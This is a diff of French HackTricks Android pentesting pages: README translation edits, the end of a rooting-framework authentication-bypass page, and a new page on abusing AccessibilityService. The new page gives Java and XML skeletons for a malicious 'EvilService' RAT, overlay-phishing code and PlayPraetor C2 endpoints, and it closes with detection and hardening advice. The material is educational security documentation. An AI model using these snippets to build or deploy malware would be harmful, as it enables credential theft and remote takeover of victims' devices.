- L'authentification basée sur un mot de passe (par exemple, les versions historiques APatch/SKRoot) peut être faible si les mots de passe sont devinables/bruteforcables ou si les validations sont boguées.
- L'authentification basée sur le package/siganture (par exemple, KernelSU) est plus forte en principe mais doit être liée à l'appelant réel, pas à des artefacts indirects comme les scans de FD.
- Magisk : CVE-2024-48336 (MagiskEoP) a montré que même des écosystèmes matures peuvent être sensibles à la falsification d'identité conduisant à l'exécution de code avec root dans le contexte du gestionnaire.
---
## Références
- [Zimperium – The Rooting of All Evil: Security Holes That Could Compromise Your Mobile Device](https://zimperium.com/blog/the-rooting-of-all-evil-security-holes-that-could-compromise-your-mobile-device)
- [KernelSU v0.5.7 – core_hook.c path checks (L193, L201)](https://github.com/tiann/KernelSU/blob/v0.5.7/kernel/core_hook.c#L193)
- [KernelSU v0.5.7 – manager.c FD iteration/signature check (L43+)](https://github.com/tiann/KernelSU/blob/v0.5.7/kernel/manager.c#L43)
- [KernelSU – apk_sign.c APK v2 verification (main)](https://github.com/tiann/KernelSU/blob/main/kernel/apk_sign.c#L319)
- [KernelSU project](https://kernelsu.org/)
- [APatch](https://github.com/bmax121/APatch)
- [SKRoot](https://github.com/abcz316/SKRoot-linuxKernelRoot)
- [MagiskEoP – CVE-2024-48336](https://github.com/canyie/MagiskEoP)
- [KSU PoC demo video (Wistia)](https://zimperium-1.wistia.com/medias/ep1dg4t2qg?videoFoam=true)
{{#include ../../banners/hacktricks-training.md}}

72
src/mobile-pentesting/android-app-pentesting/README.md
View File

@ -12,10 +12,10 @@ android-applications-basics.md
## ADB (Android Debug Bridge)
C'est l'outil principal dont vous avez besoin pour vous connecter à un appareil android (émulé ou physique).\
**ADB** permet de contrôler les appareils soit par **USB** soit par **réseau** depuis un ordinateur. Cette utilité permet le **copie** de fichiers dans les deux sens, **installation** et **désinstallation** d'applications, **exécution** de commandes shell, **sauvegarde** de données, **lecture** de journaux, entre autres fonctions.
C'est l'outil principal dont vous avez besoin pour vous connecter à un appareil Android (émulé ou physique).\
**ADB** permet de contrôler les appareils soit via **USB** soit via **réseau** depuis un ordinateur. Cette utilité permet le **copie** de fichiers dans les deux sens, **installation** et **désinstallation** d'applications, **exécution** de commandes shell, **sauvegarde** de données, **lecture** de journaux, entre autres fonctions.
Consultez la liste suivante de [**Commandes ADB**](adb-commands.md) pour apprendre à utiliser adb.
Jetez un œil à la liste suivante de [**Commandes ADB**](adb-commands.md) pour apprendre à utiliser adb.
## Smali
@ -24,8 +24,10 @@ Parfois, il est intéressant de **modifier le code de l'application** pour accé
## Autres astuces intéressantes
- [Spoofing your location in Play Store](spoofing-your-location-in-play-store.md)
- [Shizuku Privileged API (accès privilégié non-root basé sur ADB)](shizuku-privileged-api.md)
- [Usurpation de votre emplacement dans le Play Store](spoofing-your-location-in-play-store.md)
- [API privilégiée Shizuku (accès privilégié non-root basé sur ADB)](shizuku-privileged-api.md)
- [Exploitation des Mécanismes de Mise à Jour In-App Insecure](insecure-in-app-update-rce.md)
- [Abus des Services d'Accessibilité (Android RAT)](accessibility-services-abuse.md)
- **Télécharger des APK** : [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
- Extraire l'APK de l'appareil :
```bash
@ -46,6 +48,16 @@ java -jar ../APKEditor.jar m -i splits/ -o merged.apk
# after merging, you will need to align and sign the apk, personally, I like to use the uberapksigner
java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
```
## Études de cas & Vulnérabilités
{{#ref}}
../ios-pentesting/air-keyboard-remote-input-injection.md
{{#endref}}
{{#ref}}
../../linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md
{{#endref}}
## Analyse Statique
Tout d'abord, pour analyser un APK, vous devriez **jeter un œil au code Java** en utilisant un décompilateur.\
@ -53,7 +65,7 @@ Veuillez, [**lire ici pour trouver des informations sur les différents décompi
### Recherche d'informations intéressantes
En regardant simplement les **chaînes** de l'APK, vous pouvez rechercher des **mots de passe**, des **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), des clés **api**, des **chiffrements**, des **UUIDs bluetooth**, des **tokens** et tout ce qui est intéressant... cherchez même des **backdoors** d'exécution de code ou des backdoors d'authentification (identifiants administratifs codés en dur dans l'application).
En regardant simplement les **chaînes** de l'APK, vous pouvez rechercher des **mots de passe**, des **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), des clés **api**, des **chiffrements**, des **bluetooth uuids**, des **tokens** et tout ce qui est intéressant... cherchez même des **backdoors** d'exécution de code ou des backdoors d'authentification (identifiants administratifs codés en dur dans l'application).
**Firebase**
@ -70,7 +82,7 @@ Les **vulnérabilités** identifiées dans le **Manifest.xml** incluent :
- **Sécurité réseau** : Les configurations de sécurité réseau personnalisées (`android:networkSecurityConfig="@xml/network_security_config"`) dans _res/xml/_ peuvent spécifier des détails de sécurité comme les certificats et les paramètres de trafic HTTP. Un exemple est de permettre le trafic HTTP pour des domaines spécifiques.
- **Activités et services exportés** : Identifier les activités et services exportés dans le manifeste peut mettre en évidence des composants qui pourraient être mal utilisés. Une analyse plus approfondie lors des tests dynamiques peut révéler comment exploiter ces composants.
- **Fournisseurs de contenu et FileProviders** : Les fournisseurs de contenu exposés pourraient permettre un accès ou une modification non autorisés des données. La configuration des FileProviders doit également être examinée.
- **Receveurs de diffusion et schémas d'URL** : Ces composants pourraient être exploités, en prêtant une attention particulière à la façon dont les schémas d'URL sont gérés pour les vulnérabilités d'entrée.
- **Receveurs de diffusion et schémas d'URL** : Ces composants pourraient être exploités, en prêtant une attention particulière à la gestion des schémas d'URL pour les vulnérabilités d'entrée.
- **Versions SDK** : Les attributs `minSdkVersion`, `targetSDKVersion` et `maxSdkVersion` indiquent les versions Android prises en charge, soulignant l'importance de ne pas prendre en charge des versions Android obsolètes et vulnérables pour des raisons de sécurité.
À partir du fichier **strings.xml**, des informations sensibles telles que des clés API, des schémas personnalisés et d'autres notes de développeur peuvent être découvertes, soulignant la nécessité d'un examen attentif de ces ressources.
@ -100,7 +112,7 @@ android-task-hijacking.md
**Stockage interne**
Dans Android, les fichiers **stockés** dans le **stockage interne** sont **conçus** pour être **accessibles** exclusivement par l'**application** qui les **a créés**. Cette mesure de sécurité est **appliquée** par le système d'exploitation Android et est généralement adéquate pour les besoins de sécurité de la plupart des applications. Cependant, les développeurs utilisent parfois des modes tels que `MODE_WORLD_READABLE` et `MODE_WORLD_WRITABLE` pour **permettre** le **partage** de fichiers entre différentes applications. Pourtant, ces modes **ne restreignent pas l'accès** à ces fichiers par d'autres applications, y compris celles potentiellement malveillantes.
Dans Android, les fichiers **stockés** dans le **stockage interne** sont **conçus** pour être **accessibles** exclusivement par l'**application** qui les **a créés**. Cette mesure de sécurité est **appliquée** par le système d'exploitation Android et est généralement adéquate pour les besoins de sécurité de la plupart des applications. Cependant, les développeurs utilisent parfois des modes tels que `MODE_WORLD_READABLE` et `MODE_WORLD_WRITABLE` pour **permettre** aux fichiers d'être **partagés** entre différentes applications. Pourtant, ces modes **ne restreignent pas l'accès** à ces fichiers par d'autres applications, y compris celles potentiellement malveillantes.
1. **Analyse statique :**
- **Assurez-vous** que l'utilisation de `MODE_WORLD_READABLE` et `MODE_WORLD_WRITABLE` est **soigneusement examinée**. Ces modes **peuvent potentiellement exposer** des fichiers à un **accès non intentionnel ou non autorisé**.
@ -117,14 +129,14 @@ Lorsqu'il s'agit de fichiers sur le **stockage externe**, comme les cartes SD, c
- Étant donné la facilité d'accès, il est conseillé de **ne pas stocker d'informations sensibles** sur le stockage externe.
- Le stockage externe peut être retiré ou accessible par n'importe quelle application, ce qui le rend moins sécurisé.
3. **Gestion des données provenant du stockage externe** :
- Toujours **effectuer une validation des entrées** sur les données récupérées du stockage externe. Cela est crucial car les données proviennent d'une source non fiable.
- Effectuez toujours une **validation des entrées** sur les données récupérées du stockage externe. Cela est crucial car les données proviennent d'une source non fiable.
- Il est fortement déconseillé de stocker des exécutables ou des fichiers de classe sur le stockage externe pour un chargement dynamique.
- Si votre application doit récupérer des fichiers exécutables à partir du stockage externe, assurez-vous que ces fichiers sont **signés et vérifiés cryptographiquement** avant d'être chargés dynamiquement. Cette étape est vitale pour maintenir l'intégrité de sécurité de votre application.
Le stockage externe peut être **accédé** dans `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard`
> [!TIP]
> À partir d'Android 4.4 (**API 17**), la carte SD a une structure de répertoire qui **limite l'accès d'une application au répertoire qui est spécifiquement pour cette application**. Cela empêche une application malveillante d'obtenir un accès en lecture ou en écriture aux fichiers d'une autre application.
> À partir d'Android 4.4 (**API 17**), la carte SD a une structure de répertoire qui **limite l'accès d'une application au répertoire spécifiquement destiné à cette application**. Cela empêche une application malveillante d'obtenir un accès en lecture ou en écriture aux fichiers d'une autre application.
**Données sensibles stockées en texte clair**
@ -150,7 +162,7 @@ Certains développeurs enregistrent des données sensibles dans le stockage loca
**Utilisation d'algorithmes non sécurisés et/ou obsolètes**
Les développeurs ne devraient pas utiliser **d'algorithmes obsolètes** pour effectuer des **vérifications d'autorisation**, **stocker** ou **envoyer** des données. Certains de ces algorithmes sont : RC4, MD4, MD5, SHA1... Si des **hashs** sont utilisés pour stocker des mots de passe par exemple, des hashs résistants à la force brute devraient être utilisés avec du sel.
Les développeurs ne devraient pas utiliser des **algorithmes obsolètes** pour effectuer des **vérifications d'autorisation**, **stocker** ou **envoyer** des données. Certains de ces algorithmes sont : RC4, MD4, MD5, SHA1... Si des **hashs** sont utilisés pour stocker des mots de passe par exemple, des hashs résistants à la force brute devraient être utilisés avec du sel.
### Autres vérifications
@ -182,7 +194,7 @@ Selon ce [**post de blog**](https://clearbluejar.github.io/posts/desuperpacking-
### Analyse statique automatisée du code
L'outil [**mariana-trench**](https://github.com/facebook/mariana-trench) est capable de trouver des **vulnérabilités** en **scannant** le **code** de l'application. Cet outil contient une série de **sources connues** (qui indiquent à l'outil les **endroits** où l'**entrée** est **contrôlée par l'utilisateur**), des **sinks** (qui indiquent à l'outil les **endroits dangereux** où une entrée malveillante pourrait causer des dommages) et des **règles**. Ces règles indiquent la **combinaison** de **sources-sinks** qui indique une vulnérabilité.
L'outil [**mariana-trench**](https://github.com/facebook/mariana-trench) est capable de trouver des **vulnérabilités** en **scannant** le **code** de l'application. Cet outil contient une série de **sources connues** (qui indiquent à l'outil les **endroits** où l'**entrée** est **contrôlée par l'utilisateur**), des **sinks** (qui indiquent à l'outil des **endroits dangereux** où une entrée malveillante pourrait causer des dommages) et des **règles**. Ces règles indiquent la **combinaison** de **sources-sinks** qui indique une vulnérabilité.
Avec cette connaissance, **mariana-trench examinera le code et trouvera les vulnérabilités possibles.**
@ -219,7 +231,7 @@ content-protocol.md
### Analyse dynamique en ligne
Vous pouvez créer un **compte gratuit** sur : [https://appetize.io/](https://appetize.io). Cette plateforme vous permet de **télécharger** et **d'exécuter** des APK, ce qui est utile pour voir comment un apk se comporte.
Vous pouvez créer un **compte gratuit** sur : [https://appetize.io/](https://appetize.io). Cette plateforme vous permet de **télécharger** et **d'exécuter** des APK, ce qui est utile pour voir comment un APK se comporte.
Vous pouvez même **voir les journaux de votre application** sur le web et vous connecter via **adb**.
@ -238,7 +250,7 @@ Grâce à la connexion ADB, vous pouvez utiliser **Drozer** et **Frida** à l'in
avd-android-virtual-device.md
{{#endref}}
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Version gratuite :** Édition personnelle, vous devez créer un compte. _Il est recommandé de **télécharger** la version **AVEC** _ _**VirtualBox** pour éviter des erreurs potentielles._)
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Version gratuite :** Édition personnelle, vous devez créer un compte. _Il est recommandé de **télécharger** la version **AVEC** _**VirtualBox** pour éviter des erreurs potentielles._)
- [**Nox**](https://es.bignox.com) (Gratuit, mais il ne prend pas en charge Frida ou Drozer).
> [!TIP]
@ -252,16 +264,16 @@ De plus, notez que dans la **configuration de la VM Android dans Genymotion**, v
#### Utiliser un appareil physique
Vous devez activer les **options de débogage** et il serait bien si vous pouviez le **rooter** :
Vous devez activer les options de **débogage** et il serait bien si vous pouviez le **rooter** :
1. **Paramètres**.
2. (À partir d'Android 8.0) Sélectionnez **Système**.
3. Sélectionnez **À propos du téléphone**.
4. Appuyez sur **Numéro de build** 7 fois.
5. Revenez en arrière et vous trouverez les **options de développement**.
5. Revenez en arrière et vous trouverez les **options de développeur**.
> Une fois que vous avez installé l'application, la première chose à faire est de l'essayer et d'enquêter sur ce qu'elle fait, comment elle fonctionne et de vous y habituer.\
> Je vous suggérerai de **réaliser cette analyse dynamique initiale en utilisant l'analyse dynamique MobSF + pidcat**, afin que nous puissions **apprendre comment l'application fonctionne** pendant que MobSF **capture** beaucoup de **données intéressantes** que vous pourrez examiner plus tard.
> Je vous suggérerai de **réaliser cette analyse dynamique initiale en utilisant l'analyse dynamique de MobSF + pidcat**, afin que nous puissions **apprendre comment l'application fonctionne** pendant que MobSF **capture** beaucoup de **données intéressantes** que vous pourrez examiner plus tard.
### Fuite de données non intentionnelle
@ -310,7 +322,7 @@ Rappelez-vous également que le code d'une activité commence dans la méthode *
Lorsqu'une activité est exportée, vous pouvez invoquer son écran depuis une application externe. Par conséquent, si une activité contenant des **informations sensibles** est **exportée**, vous pourriez **contourner** les mécanismes **d'authentification** **pour y accéder.**
[**Apprenez à exploiter les activités exportées avec Drozer.**](drozer-tutorial/index.html#activities)
[**Apprenez comment exploiter les activités exportées avec Drozer.**](drozer-tutorial/index.html#activities)
Vous pouvez également démarrer une activité exportée depuis adb :
@ -382,11 +394,11 @@ Chaque fois que vous trouvez un deep link, vérifiez qu'il **ne reçoit pas de d
**Paramètres dans le chemin**
Vous **devez également vérifier si un deep link utilise un paramètre à l'intérieur du chemin** de l'URL comme : `https://api.example.com/v1/users/{username}`, dans ce cas, vous pouvez forcer un parcours de chemin en accédant à quelque chose comme : `example://app/users?username=../../unwanted-endpoint%3fparam=value`.\
Notez que si vous trouvez les bons points de terminaison à l'intérieur de l'application, vous pourriez être en mesure de provoquer un **Open Redirect** (si une partie du chemin est utilisée comme nom de domaine), un **prise de contrôle de compte** (si vous pouvez modifier les détails des utilisateurs sans token CSRF et que le point de terminaison vulnérable utilise la bonne méthode) et toute autre vulnérabilité. Plus [d'infos à ce sujet ici](http://dphoeniixx.com/2020/12/13-2/).
Notez que si vous trouvez les bons points de terminaison à l'intérieur de l'application, vous pourriez être en mesure de provoquer un **Open Redirect** (si une partie du chemin est utilisée comme nom de domaine), **prise de contrôle de compte** (si vous pouvez modifier les détails des utilisateurs sans jeton CSRF et que le point de terminaison vulnérable utilise la bonne méthode) et toute autre vulnérabilité. Plus [d'infos à ce sujet ici](http://dphoeniixx.com/2020/12/13-2/).
**Plus d'exemples**
Un [rapport de bug bounty intéressant](https://hackerone.com/reports/855618) sur les liens (_/.well-known/assetlinks.json_).
Un [rapport de bug bounty intéressant](https://hackerone.com/reports/855618) concernant des liens (_/.well-known/assetlinks.json_).
### Échecs d'inspection et de vérification de la couche de transport
@ -417,7 +429,7 @@ Lorsque le SSL Pinning est mis en œuvre, le contournement devient nécessaire p
- Modifiez automatiquement l'**apk** pour **contourner** le SSL Pinning avec [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Le meilleur avantage de cette option est que vous n'aurez pas besoin de root pour contourner le SSL Pinning, mais vous devrez supprimer l'application et réinstaller la nouvelle, et cela ne fonctionnera pas toujours.
- Vous pourriez utiliser **Frida** (discuté ci-dessous) pour contourner cette protection. Voici un guide pour utiliser Burp+Frida+Genymotion : [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
- Vous pouvez également essayer de **contourner automatiquement le SSL Pinning** en utilisant [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
- Vous pouvez également essayer de **contourner automatiquement le SSL Pinning** en utilisant **l'analyse dynamique de MobSF** (expliqué ci-dessous)
- Vous pouvez également essayer de **contourner automatiquement le SSL Pinning** en utilisant **l'analyse dynamique MobSF** (expliqué ci-dessous)
- Si vous pensez toujours qu'il y a du trafic que vous ne capturez pas, vous pouvez essayer de **rediriger le trafic vers burp en utilisant iptables**. Lisez ce blog : [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
#### Recherche de vulnérabilités web courantes
@ -496,7 +508,7 @@ Le danger réside dans le fait de permettre aux attaquants de déclencher des co
- **Injection d'Intent** est similaire au problème de Redirection Ouverte sur le web.
- Les exploits impliquent de passer des objets `Intent` en tant qu'extras, qui peuvent être redirigés pour exécuter des opérations non sécurisées.
- Cela peut exposer des composants non exportés et des fournisseurs de contenu aux attaquants.
- La conversion d'URL en `Intent` de `WebView` peut faciliter des actions non intentionnelles.
- La conversion d'URL en `Intent` par `WebView` peut faciliter des actions non intentionnelles.
### Injections Côté Client Android et autres
@ -505,7 +517,7 @@ Vous connaissez probablement ce type de vulnérabilités sur le Web. Vous devez
- **Injection SQL :** Lors de la gestion de requêtes dynamiques ou de Content-Providers, assurez-vous d'utiliser des requêtes paramétrées.
- **Injection JavaScript (XSS) :** Vérifiez que le support JavaScript et Plugin est désactivé pour tous les WebViews (désactivé par défaut). [Plus d'infos ici](webview-attacks.md#javascript-enabled).
- **Inclusion de Fichiers Locaux :** Les WebViews ne devraient pas avoir accès au système de fichiers (activé par défaut) - `(webview.getSettings().setAllowFileAccess(false);)`. [Plus d'infos ici](webview-attacks.md#javascript-enabled).
- **Cookies éternels :** Dans plusieurs cas, lorsque l'application Android termine la session, le cookie n'est pas révoqué ou peut même être enregistré sur le disque.
- **Cookies éternels** : Dans plusieurs cas, lorsque l'application Android termine la session, le cookie n'est pas révoqué ou peut même être enregistré sur le disque.
- [**Drapeau Sécurisé** dans les cookies](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)
---
@ -523,10 +535,10 @@ Vous connaissez probablement ce type de vulnérabilités sur le Web. Vous devez
docker pull opensecurity/mobile-security-framework-mobsf
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
```
Notice that MobSF peut analyser **Android**(apk)**, IOS**(ipa) **et Windows**(apx) applications (_Les applications Windows doivent être analysées depuis un MobSF installé sur un hôte Windows_).\
Remarque que MobSF peut analyser des applications **Android**(apk)**, IOS**(ipa) **et Windows**(apx) (_Les applications Windows doivent être analysées depuis un MobSF installé sur un hôte Windows_).\
De plus, si vous créez un fichier **ZIP** avec le code source d'une application **Android** ou **IOS** (allez dans le dossier racine de l'application, sélectionnez tout et créez un fichier ZIP), il pourra également l'analyser.
MobSF permet également de **diff/Comparer** l'analyse et d'intégrer **VirusTotal** (vous devrez définir votre clé API dans _MobSF/settings.py_ et l'activer : `VT_ENABLED = TRUE` `VT_API_KEY = <Votre clé API>` `VT_UPLOAD = TRUE`). Vous pouvez également définir `VT_UPLOAD` sur `False`, alors le **hash** sera **téléchargé** au lieu du fichier.
MobSF permet également d'effectuer une analyse **diff/Compare** et d'intégrer **VirusTotal** (vous devrez définir votre clé API dans _MobSF/settings.py_ et l'activer : `VT_ENABLED = TRUE` `VT_API_KEY = <Votre clé API>` `VT_UPLOAD = TRUE`). Vous pouvez également définir `VT_UPLOAD` sur `False`, alors le **hash** sera **téléchargé** au lieu du fichier.
### Analyse dynamique assistée avec MobSF
@ -537,7 +549,7 @@ L'**analyseur dynamique MobSF** peut :
- Capturer le **trafic HTTPS**
- Utiliser **Frida** pour obtenir des **informations d'exécution**
À partir des versions Android **> 5**, il **démarrera automatiquement Frida** et définira les paramètres de **proxy** globaux pour **capturer** le trafic. Il ne capturera que le trafic de l'application testée.
À partir des versions **Android > 5**, il **démarrera automatiquement Frida** et définira les paramètres de **proxy** globaux pour **capturer** le trafic. Il ne capturera que le trafic de l'application testée.
**Frida**
@ -573,7 +585,7 @@ receivers
```
**Outils HTTP**
Lorsque le trafic http est capturé, vous pouvez voir une vue peu attrayante du trafic capturé sur "**HTTP(S) Traffic**" en bas ou une vue plus agréable dans le bouton vert "**Start HTTPTools**". À partir de la deuxième option, vous pouvez **envoyer** les **requêtes capturées** à des **proxies** comme Burp ou Owasp ZAP.\
Lorsque le trafic http est capturé, vous pouvez voir une vue peu esthétique du trafic capturé en bas sur "**HTTP(S) Traffic**" ou une vue plus agréable dans le bouton vert "**Start HTTPTools**". À partir de la deuxième option, vous pouvez **envoyer** les **requêtes capturées** à des **proxies** comme Burp ou Owasp ZAP.\
Pour ce faire, _allumez Burp -->_ _désactivez Intercept --> dans MobSB HTTPTools, sélectionnez la requête_ --> appuyez sur "**Send to Fuzzer**" --> _sélectionnez l'adresse du proxy_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
Une fois que vous avez terminé l'analyse dynamique avec MobSF, vous pouvez appuyer sur "**Start Web API Fuzzer**" pour **fuzz les requêtes http** et rechercher des vulnérabilités.
@ -598,7 +610,7 @@ C'est un **excellent outil pour effectuer une analyse statique avec une interfac
### [Qark](https://github.com/linkedin/qark)
Cet outil est conçu pour rechercher plusieurs **vulnérabilités liées à la sécurité des applications Android**, que ce soit dans le **code source** ou les **APKs empaquetés**. L'outil est également **capable de créer un APK déployable "Proof-of-Concept"** et des **commandes ADB**, pour exploiter certaines des vulnérabilités trouvées (Activités exposées, intents, tapjacking...). Comme avec Drozer, il n'est pas nécessaire de rooter l'appareil de test.
Cet outil est conçu pour rechercher plusieurs **vulnérabilités liées à la sécurité des applications Android**, que ce soit dans le **code source** ou les **APKs empaquetés**. L'outil est également **capable de créer un APK déployable "Proof-of-Concept"** et des **commandes ADB**, pour exploiter certaines des vulnérabilités trouvées (activités exposées, intents, tapjacking...). Comme avec Drozer, il n'est pas nécessaire de rooter l'appareil de test.
```bash
pip3 install --user qark # --user is only needed if not using a virtualenv
qark --apk path/to/my.apk
@ -677,7 +689,7 @@ Utile pour détecter les malwares : [https://koodous.com/](https://koodous.com)
## Obfuscating/Deobfuscating code
Notez qu'en fonction du service et de la configuration que vous utilisez pour obfusquer le code, les secrets peuvent ou non être obfusqués.
Notez que selon le service et la configuration que vous utilisez pour obfusquer le code, les secrets peuvent ou non être obfusqués.
### [ProGuard](<https://en.wikipedia.org/wiki/ProGuard_(software)>)
@ -703,7 +715,7 @@ Trouvez un guide étape par étape pour déobfusquer l'apk sur [https://blog.lex
Vous pouvez télécharger un APK obfusqué sur leur plateforme.
### [Deobfuscate android App](https://github.com/In3tinct/deobfuscate-android-app)
### [Deobfuscate android App]https://github.com/In3tinct/deobfuscate-android-app
C'est un outil LLM pour trouver d'éventuelles vulnérabilités de sécurité dans les applications android et déobfusquer le code des applications android. Utilise l'API publique Gemini de Google.

145
src/mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md Normal file
View File

@ -0,0 +1,145 @@
# Abus des services d'accessibilité Android
{{#include ../../banners/hacktricks-training.md}}
## Aperçu
`AccessibilityService` a été créé pour aider les utilisateurs handicapés à interagir avec les appareils Android. Malheureusement, les mêmes **API d'automatisation puissantes** (navigation globale, saisie de texte, dispatch de gestes, fenêtres superposées…) peuvent être utilisées par des logiciels malveillants pour obtenir **un contrôle à distance complet** de l'appareil _sans privilèges root_.
Les chevaux de Troie bancaires Android modernes et les chevaux de Troie d'accès à distance (RAT) tels que **PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda** et bien d'autres suivent la même recette :
1. Manipuler la victime pour qu'elle active un service d'accessibilité malveillant (la permission *BIND_ACCESSIBILITY_SERVICE* est considérée comme "à haut risque" et nécessite une action explicite de l'utilisateur).
2. Tirer parti du service pour
* capturer chaque événement UI et texte qui apparaît à l'écran,
* injecter des gestes synthétiques (`dispatchGesture`) et des actions globales (`performGlobalAction`) pour automatiser toute tâche souhaitée par l'opérateur,
* dessiner des superpositions plein écran au-dessus des applications légitimes en utilisant le type de fenêtre **TYPE_ACCESSIBILITY_OVERLAY** (pas de prompt `SYSTEM_ALERT_WINDOW` !),
* accorder silencieusement des permissions d'exécution supplémentaires en cliquant sur les dialogues système au nom de la victime.
3. Exfiltrer des données ou effectuer **On-Device-Fraud (ODF)** en temps réel pendant que l'utilisateur regarde un écran parfaitement normal.
---
## Demande de permission
```xml
<!-- AndroidManifest.xml -->
<service
android:name="com.evil.rat.EvilService"
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
android:exported="false">
<intent-filter>
<action android:name="android.accessibilityservice.AccessibilityService" />
</intent-filter>
<meta-data android:name="android.accessibilityservice"
android:resource="@xml/evil_accessibility_config"/>
</service>
```
Le fichier XML compagnon définit à quoi ressemblera la boîte de dialogue factice :
```xml
<?xml version="1.0" encoding="utf-8"?>
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
android:description="@string/service_description"
android:accessibilityEventTypes="typeAllMask"
android:accessibilityFeedbackType="feedbackGeneric"
android:notificationTimeout="200"
android:canPerformGestures="true"
android:canRetrieveWindowContent="true"/>
```
---
## Primitives d'automatisation UI à distance
```java
public class EvilService extends AccessibilityService {
@Override
public void onAccessibilityEvent(AccessibilityEvent event) {
// harvest text or detect foreground app change
}
// Simulate HOME / BACK / RECENTS …
private void navHome() { performGlobalAction(GLOBAL_ACTION_HOME); }
private void navBack() { performGlobalAction(GLOBAL_ACTION_BACK); }
private void openRecents() { performGlobalAction(GLOBAL_ACTION_RECENTS); }
// Generic tap / swipe
public void tap(float x, float y) {
Path p = new Path(); p.moveTo(x, y);
GestureDescription.StrokeDescription s = new GestureDescription.StrokeDescription(p, 0, 50);
dispatchGesture(new GestureDescription.Builder().addStroke(s).build(), null, null);
}
}
```
Avec seulement ces deux API, un attaquant peut :
* Déverrouiller l'écran, ouvrir l'application bancaire, naviguer dans son arbre UI et soumettre un formulaire de transfert.
* Accepter chaque boîte de dialogue de permission qui apparaît.
* Installer/mettre à jour des APK supplémentaires via l'intention du Play Store.
---
## Modèles d'abus
### 1. Phishing par superposition (Collecte de données d'identification)
Un `WebView` transparent ou opaque est ajouté au gestionnaire de fenêtres :
```java
WindowManager.LayoutParams lp = new WindowManager.LayoutParams(
MATCH_PARENT, MATCH_PARENT,
TYPE_ACCESSIBILITY_OVERLAY, // ⬅ bypasses SYSTEM_ALERT_WINDOW
FLAG_NOT_FOCUSABLE | FLAG_NOT_TOUCH_MODAL, // touches still reach the real app
PixelFormat.TRANSLUCENT);
wm.addView(phishingView, lp);
```
La victime saisit des identifiants dans le faux formulaire pendant que l'application en arrière-plan reçoit les mêmes gestes – aucune invite suspecte "dessiner par-dessus d'autres applications" n'est jamais affichée.
> Exemple détaillé : la section *Phishing par superposition d'accessibilité* dans la page Tapjacking.
### 2. Automatisation de fraude sur l'appareil
Des familles de malware telles que **PlayPraetor** maintiennent un canal WebSocket persistant où l'opérateur peut émettre des commandes de haut niveau (`init`, `update`, `alert_arr`, `report_list`, …). Le service traduit ces commandes en gestes de bas niveau ci-dessus, réalisant des transactions non autorisées en temps réel qui contournent facilement l'authentification multi-facteurs liée à cet appareil.
### 3. Diffusion et surveillance d'écran
En combinant l'**API MediaProjection** avec une bibliothèque cliente RTMP, le RAT peut diffuser le framebuffer en direct à `rtmp://<c2>:1935/live/<device_id>`, offrant à l'adversaire une parfaite conscience situationnelle pendant que le moteur d'accessibilité pilote l'interface utilisateur.
---
## PlayPraetor – flux de travail de commande et de contrôle
1. **Heartbeat HTTP(S)** – itérer sur une liste codée en dur jusqu'à ce qu'un domaine réponde `POST /app/searchPackageName` avec le C2 actif.
2. **WebSocket (port 8282)** – commandes JSON bidirectionnelles :
* `update` – pousser de nouvelles conf/APKs
* `alert_arr` – configurer des modèles de superposition
* `report_list` – envoyer la liste des noms de packages ciblés
* `heartbeat_web` – maintenir la connexion
3. **RTMP (port 1935)** – diffusion en direct d'écran/vidéo.
4. **Exfiltration REST** –
* `/app/saveDevice` (empreinte)
* `/app/saveContacts` | `/app/saveSms` | `/app/uploadImageBase64`
* `/app/saveCardPwd` (identifiants bancaires)
Le **AccessibilityService** est le moteur local qui transforme ces commandes cloud en interactions physiques.
---
## Détection des services d'accessibilité malveillants
* `adb shell settings get secure enabled_accessibility_services`
* Paramètres → Accessibilité → *Services téléchargés* – rechercher des applications qui ne proviennent **pas** de Google Play.
* Les solutions MDM / EMM peuvent appliquer `ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY` (Android 13+) pour bloquer les services sideloadés.
* Analyser les services en cours d'exécution :
```bash
adb shell dumpsys accessibility | grep "Accessibility Service"
```
---
## Recommandations de renforcement pour les développeurs d'applications
* Marquer les vues sensibles avec `android:accessibilityDataSensitive="accessibilityDataPrivateYes"` (API 34+).
* Combiner `setFilterTouchesWhenObscured(true)` avec `FLAG_SECURE` pour prévenir le détournement de tap/superposition.
* Détecter les superpositions en interrogeant `WindowManager.getDefaultDisplay().getFlags()` ou l'API `ViewRootImpl`.
* Refuser de fonctionner lorsque `Settings.canDrawOverlays()` **ou** un service d'accessibilité non fiable est actif.
---
## Références
* [PlayPraetor’s evolving threat: How Chinese-speaking actors globally scale an Android RAT](https://www.cleafy.com/cleafy-labs/playpraetors-evolving-threat-how-chinese-speaking-actors-globally-scale-an-android-rat)
* [Android accessibility documentation – Automating UI interaction](https://developer.android.com/guide/topics/ui/accessibility/service)
